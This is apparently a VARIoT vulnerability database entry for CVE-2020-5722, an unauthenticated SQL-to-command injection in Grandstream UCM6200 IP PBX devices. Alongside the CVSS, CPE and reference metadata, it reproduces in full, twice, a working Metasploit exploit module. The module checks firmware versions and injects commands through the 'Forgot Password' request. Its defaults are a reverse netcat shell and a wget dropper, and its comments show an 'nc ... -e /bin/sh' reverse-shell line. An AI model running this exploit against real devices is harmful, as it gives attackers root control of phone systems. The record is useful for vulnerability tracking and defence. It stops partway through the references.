var-202003-1435
Vulnerability from variot

The HTTP interface of the Grandstream UCM6200 series is vulnerable to an unauthenticated remote SQL injection via crafted HTTP request. An attacker can use this vulnerability to execute shell commands as root on versions before 1.0.19.20 or inject HTML in password recovery emails in versions before 1.0.20.17. Grandstream UCM6200 In the series SQL An injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Grandstream UCM6200 is a set of enterprise-level switches used for IP telephone communication by the US company Grandstream.

Grandstream UCM6200 versions prior to 1.0.19.20 and versions before 1.0.20.17 have SQL injection vulnerabilities. ##

This module requires Metasploit: https://metasploit.com/download

Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager

def initialize(info = {}) super( update_info( info, 'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE', 'Description' => %q{ This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. 

      Exploitation happens in two stages:

      1. An SQL injection during username lookup while executing the "Forgot Password" function. 
      2. A command injection that occurs after the user provided username is passed to a Python script
      via the shell. Like so:

      /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
      password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `

      This module affect UCM62xx versions before firmware version 1.0.19.20. 
    },
    'License' => MSF_LICENSE,
    'Author' => [
      'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module
    ],
    'References' => [
      [ 'CVE', '2020-5722' ],
      [ 'EDB', '48247']
    ],
    'DisclosureDate' => '2020-03-23',
    'Platform' => ['unix', 'linux'],
    'Arch' => [ARCH_CMD, ARCH_ARMLE],
    'Privileged' => true,
    'Targets' => [
      [
        'Unix Command',
        {
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Type' => :unix_cmd,
          'Payload' => {
            'DisableNops' => true,
            'BadChars' => '\'&|'
          },
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
          }
        }
      ],
      [
        'Linux Dropper',
        {
          'Platform' => 'linux',
          'Arch' => [ARCH_ARMLE],
          'Type' => :linux_dropper,
          'CmdStagerFlavor' => [ 'wget' ]
        }
      ]
    ],
    'DefaultTarget' => 1,
    'DefaultOptions' => {
      'RPORT' => 8089,
      'SSL' => true
    },
    'Notes' => {
      'Stability' => [CRASH_SAFE],
      'Reliability' => [REPEATABLE_SESSION],
      'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
    }
  )
)
register_options([
  OptString.new('TARGETURI', [true, 'Base path', '/'])
])

end

## # Sends a POST /cgi request with a payload of action=getInfo. The # server should respond with a large json blob like the following, # where "prog_version" is he firmware version: # # {"response"=>{ # "model_name"=>"UCM6202", "description"=>"IPPBX Appliance", # "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/", # "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.", # "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1", # "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US", # "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0", # "support_webrtc_cloud"=>"0"}, "status"=>0} ### def check normalized_uri = normalize_uri(target_uri.path, '/cgi') vprint_status("Requesting version information from #{normalized_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalized_uri, 'vars_post' => { 'action' => 'getInfo' } })

return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200

body_json = res.get_json_document
return CheckCode::Unknown('No JSON in response') unless body_json

prog_version = body_json.dig('response', 'prog_version')
return false if prog_version.nil?

vprint_status("The reported version is: #{prog_version}")

version = Rex::Version.new(prog_version)
if version < Rex::Version.new('1.0.19.20')
  return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
end

return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")

end

## # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection # and then it will get passed to a python script via sh which allows us to execute a command injection. # It will look something like this: # # /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ # password '' cat <<'TTsf7G0' z' or 1=1--;nc 10.0.0.3 4444 -e /bin/sh;TTsf7G0 # # This functionality is related to the"Forgot Password" feature. This function is rate limited by # the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few # payloads are appropriate. ### def execute_command(cmd, _opts = {}) rand_num = Rex::Text.rand_text_numeric(1..5) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi'), 'vars_post' => { 'action' => 'sendPasswordEmail', 'user_name' => "' or #{rand_num}=#{rand_num}--;#{cmd};" } }, 5)

# the netcat reverse shell payload holds the connection open. So we'll treat no response
# as a success. The meterpreter payload does not hold the connection open so this clause digs
# deeper to ensure it succeeded. The server will respond with a non-0 status if the payload
# generates an error (e.g. rate limit error)
if res
  fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200

  body_json = res.get_json_document
  fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json

  status_json = body_json['status']
  fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
  fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
end

print_good('Exploit successfully executed.')

end

def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end

Show details on source website

To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202003-1435",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "ucm6200",
        "scope": "lt",
        "trust": 1.6,
        "vendor": "grandstream",
        "version": "1.0.19.20"
      },
      {
        "model": "ucm6200",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "grandstream",
        "version": "1.0.19.20"
      },
      {
        "model": "ucm6200",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "grandstream",
        "version": "1.0.20.17"
      },
      {
        "model": "ucm6200",
        "scope": "lt",
        "trust": 0.6,
        "vendor": "grandstream",
        "version": "1.0.20.17"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:grandstream:ucm6200_firmware:*:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "versionEndExcluding": "1.0.19.20",
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:grandstream:ucm6200:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Jacob Baines",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      }
    ],
    "trust": 0.6
  },
  "cve": "CVE-2020-5722",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": false,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "NVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "HIGH",
            "trust": 1.0,
            "userInteractionRequired": false,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Low",
            "accessVector": "Network",
            "authentication": "None",
            "author": "NVD",
            "availabilityImpact": "Complete",
            "baseScore": 10.0,
            "confidentialityImpact": "Complete",
            "exploitabilityScore": null,
            "id": "JVNDB-2020-003190",
            "impactScore": null,
            "integrityImpact": "Complete",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "High",
            "trust": 0.8,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2020-23201",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULMON",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2020-5722",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "HIGH",
            "trust": 0.1,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "NVD",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "High",
            "baseScore": 9.8,
            "baseSeverity": "Critical",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "JVNDB-2020-003190",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2020-5722",
            "trust": 1.0,
            "value": "CRITICAL"
          },
          {
            "author": "NVD",
            "id": "JVNDB-2020-003190",
            "trust": 0.8,
            "value": "Critical"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2020-23201",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-202003-1337",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULMON",
            "id": "CVE-2020-5722",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5722"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "The HTTP interface of the Grandstream UCM6200 series is vulnerable to an unauthenticated remote SQL injection via crafted HTTP request. An attacker can use this vulnerability to execute shell commands as root on versions before 1.0.19.20 or inject HTML in password recovery emails in versions before 1.0.20.17. Grandstream UCM6200 In the series SQL An injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Grandstream UCM6200 is a set of enterprise-level switches used for IP telephone communication by the US company Grandstream. \n\r\n\r\nGrandstream UCM6200 versions prior to 1.0.19.20 and versions before 1.0.20.17 have SQL injection vulnerabilities. ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule \u003c Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        \u0027Name\u0027 =\u003e \u0027Grandstream UCM62xx IP PBX sendPasswordEmail RCE\u0027,\n        \u0027Description\u0027 =\u003e %q{\n          This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and\n          a command injection vulnerability (technically, no assigned CVE but was inadvertently\n          patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX\n          series of devices. \n\n          Exploitation happens in two stages:\n\n          1. An SQL injection during username lookup while executing the \"Forgot Password\" function. \n          2. A command injection that occurs after the user provided username is passed to a Python script\n          via the shell. Like so:\n\n          /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \\\n          password \u0027\u0027 `cat \u003c\u003c\u0027TTsf7G0\u0027 z\u0027 or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `\n\n          This module affect UCM62xx versions before firmware version 1.0.19.20. \n        },\n        \u0027License\u0027 =\u003e MSF_LICENSE,\n        \u0027Author\u0027 =\u003e [\n          \u0027jbaines-r7\u0027 # Vulnerability discovery, original exploit, and Metasploit module\n        ],\n        \u0027References\u0027 =\u003e [\n          [ \u0027CVE\u0027, \u00272020-5722\u0027 ],\n          [ \u0027EDB\u0027, \u002748247\u0027]\n        ],\n        \u0027DisclosureDate\u0027 =\u003e \u00272020-03-23\u0027,\n        \u0027Platform\u0027 =\u003e [\u0027unix\u0027, \u0027linux\u0027],\n        \u0027Arch\u0027 =\u003e [ARCH_CMD, ARCH_ARMLE],\n        \u0027Privileged\u0027 =\u003e true,\n        \u0027Targets\u0027 =\u003e [\n          [\n            \u0027Unix Command\u0027,\n            {\n              \u0027Platform\u0027 =\u003e \u0027unix\u0027,\n              \u0027Arch\u0027 =\u003e ARCH_CMD,\n              \u0027Type\u0027 =\u003e :unix_cmd,\n              \u0027Payload\u0027 =\u003e {\n                \u0027DisableNops\u0027 =\u003e true,\n                \u0027BadChars\u0027 =\u003e \u0027\\\u0027\u0026|\u0027\n              },\n              \u0027DefaultOptions\u0027 =\u003e {\n                \u0027PAYLOAD\u0027 =\u003e \u0027cmd/unix/reverse_netcat_gaping\u0027\n              }\n            }\n          ],\n          [\n            \u0027Linux Dropper\u0027,\n            {\n              \u0027Platform\u0027 =\u003e \u0027linux\u0027,\n              \u0027Arch\u0027 =\u003e [ARCH_ARMLE],\n              \u0027Type\u0027 =\u003e :linux_dropper,\n              \u0027CmdStagerFlavor\u0027 =\u003e [ \u0027wget\u0027 ]\n            }\n          ]\n        ],\n        \u0027DefaultTarget\u0027 =\u003e 1,\n        \u0027DefaultOptions\u0027 =\u003e {\n          \u0027RPORT\u0027 =\u003e 8089,\n          \u0027SSL\u0027 =\u003e true\n        },\n        \u0027Notes\u0027 =\u003e {\n          \u0027Stability\u0027 =\u003e [CRASH_SAFE],\n          \u0027Reliability\u0027 =\u003e [REPEATABLE_SESSION],\n          \u0027SideEffects\u0027 =\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]\n        }\n      )\n    )\n    register_options([\n      OptString.new(\u0027TARGETURI\u0027, [true, \u0027Base path\u0027, \u0027/\u0027])\n    ])\n  end\n\n  ##\n  # Sends a POST /cgi request with a payload of action=getInfo. The\n  # server should respond with a large json blob like the following,\n  # where \"prog_version\" is he firmware version:\n  #\n  # {\"response\"=\u003e{\n  #   \"model_name\"=\u003e\"UCM6202\", \"description\"=\u003e\"IPPBX Appliance\",\n  #   \"device_name\"=\u003e\"\", \"logo\"=\u003e\"images/h_logo.png\", \"logo_url\"=\u003e\"http://www.grandstream.com/\",\n  #   \"copyright\"=\u003e\"Copyright \\u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.\",\n  #    \"num_fxo\"=\u003e\"2\", \"num_fxs\"=\u003e\"2\", \"num_pri\"=\u003e\"0\", \"num_eth\"=\u003e\"2\", \"allow_nat\"=\u003e\"1\",\n  #    \"svip_type\"=\u003e\"4\", \"net_mode\"=\u003e\"0\", \"prog_version\"=\u003e\"1.0.18.13\", \"country\"=\u003e\"US\",\n  #    \"support_openvpn\"=\u003e\"1\", \"enable_openvpn\"=\u003e\"0\", \"enable_webrtc_openvpn\"=\u003e\"0\",\n  #    \"support_webrtc_cloud\"=\u003e\"0\"}, \"status\"=\u003e0}\n  ###\n  def check\n    normalized_uri = normalize_uri(target_uri.path, \u0027/cgi\u0027)\n    vprint_status(\"Requesting version information from #{normalized_uri}\")\n    res = send_request_cgi({\n      \u0027method\u0027 =\u003e \u0027POST\u0027,\n      \u0027uri\u0027 =\u003e normalized_uri,\n      \u0027vars_post\u0027 =\u003e { \u0027action\u0027 =\u003e \u0027getInfo\u0027 }\n    })\n\n    return CheckCode::Unknown(\u0027HTTP status code is not 200\u0027) unless res\u0026.code == 200\n\n    body_json = res.get_json_document\n    return CheckCode::Unknown(\u0027No JSON in response\u0027) unless body_json\n\n    prog_version = body_json.dig(\u0027response\u0027, \u0027prog_version\u0027)\n    return false if prog_version.nil?\n\n    vprint_status(\"The reported version is: #{prog_version}\")\n\n    version = Rex::Version.new(prog_version)\n    if version \u003c Rex::Version.new(\u00271.0.19.20\u0027)\n      return CheckCode::Appears(\"This determination is based on the version string: #{prog_version}.\")\n    end\n\n    return CheckCode::Safe(\"This determination is based on the version string: #{prog_version}.\")\n  end\n\n  ##\n  # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection\n  # and then it will get passed to a python script via sh which allows us to execute a command injection. \n  # It will look something like this:\n  #\n  # /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \\\n  #     password \u0027\u0027 `cat \u003c\u003c\u0027TTsf7G0\u0027 z\u0027 or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `\n  #\n  # This functionality is related to the\"Forgot Password\" feature. This function is rate limited by\n  # the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few\n  # payloads are appropriate. \n  ###\n  def execute_command(cmd, _opts = {})\n    rand_num = Rex::Text.rand_text_numeric(1..5)\n    res = send_request_cgi({\n      \u0027method\u0027 =\u003e \u0027POST\u0027,\n      \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027/cgi\u0027),\n      \u0027vars_post\u0027 =\u003e\n      {\n        \u0027action\u0027 =\u003e \u0027sendPasswordEmail\u0027,\n        \u0027user_name\u0027 =\u003e \"\u0027 or #{rand_num}=#{rand_num}--`;`#{cmd}`;`\"\n      }\n    }, 5)\n\n    # the netcat reverse shell payload holds the connection open. So we\u0027ll treat no response\n    # as a success. The meterpreter payload does not hold the connection open so this clause digs\n    # deeper to ensure it succeeded. The server will respond with a non-0 status if the payload\n    # generates an error (e.g. rate limit error)\n    if res\n      fail_with(Failure::UnexpectedReply, \u0027The target did not respond with a 200 OK\u0027) unless res.code == 200\n\n      body_json = res.get_json_document\n      fail_with(Failure::UnexpectedReply, \u0027The target did not respond with a JSON body\u0027) unless body_json\n\n      status_json = body_json[\u0027status\u0027]\n      fail_with(Failure::UnexpectedReply, \u0027The JSON response is missing the status element\u0027) unless status_json\n      fail_with(Failure::UnexpectedReply, \"The server responded with an error status #{status_json}\") unless status_json == 0\n    end\n\n    print_good(\u0027Exploit successfully executed.\u0027)\n  end\n\n  def exploit\n    print_status(\"Executing #{target.name} for #{datastore[\u0027PAYLOAD\u0027]}\")\n    case target[\u0027Type\u0027]\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager\n    end\n  end\nend\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2020-5722"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5722"
      },
      {
        "db": "PACKETSTORM",
        "id": "165708"
      }
    ],
    "trust": 2.34
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=48247",
        "trust": 0.1,
        "type": "exploit"
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2020-5722",
        "trust": 3.2
      },
      {
        "db": "PACKETSTORM",
        "id": "156876",
        "trust": 3.1
      },
      {
        "db": "PACKETSTORM",
        "id": "165708",
        "trust": 1.8
      },
      {
        "db": "TENABLE",
        "id": "TRA-2020-15",
        "trust": 1.7
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190",
        "trust": 0.8
      },
      {
        "db": "EXPLOIT-DB",
        "id": "48247",
        "trust": 0.7
      },
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337",
        "trust": 0.6
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5722",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5722"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "db": "PACKETSTORM",
        "id": "165708"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "id": "VAR-202003-1435",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      }
    ],
    "trust": 1.45714287
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      }
    ]
  },
  "last_update_date": "2024-01-18T22:55:19.159000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Top Page",
        "trust": 0.8,
        "url": "http://www.grandstream.com/"
      },
      {
        "title": "Patch for Grandstream UCM6200 SQL injection vulnerability (CNVD-2020-23201)",
        "trust": 0.6,
        "url": "https://www.cnvd.org.cn/patchinfo/show/214293"
      },
      {
        "title": "Grandstream UCM6200 SQL Repair measures for injecting vulnerabilities",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=112779"
      },
      {
        "title": "Known Exploited Vulnerabilities Detector",
        "trust": 0.1,
        "url": "https://github.com/ostorlab/kev "
      },
      {
        "title": "Threatpost",
        "trust": 0.1,
        "url": "https://threatpost.com/inside-hoaxcalls-botnet-success-failure/156107/"
      },
      {
        "title": "Threatpost",
        "trust": 0.1,
        "url": "https://threatpost.com/fast-moving-ddos-botnet-unpatched-zyxel-rce-bug/155059/"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-23201"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-5722"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202003-1337"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-89",
        "trust": 1.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-003190"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-5722"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 3.7,
        "url": "http://packetstormsecurity.com/files/156876/ucm6202-1.0.18.13-remote-command-injection.html"
      },
      {
        "trust": 2.3,
        "url": "http://packetstormsecurity.com/files/165708/grandstream-ucm62xx-ip-pbx-sendpasswordemail-remote-code-execution.html"
      },
      {
        "trust": 1.7,
        "url": "https://www.tenable.com/security/research/tra-2020-15"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2020-5722"
      },
      {
        "trust": 0.8,
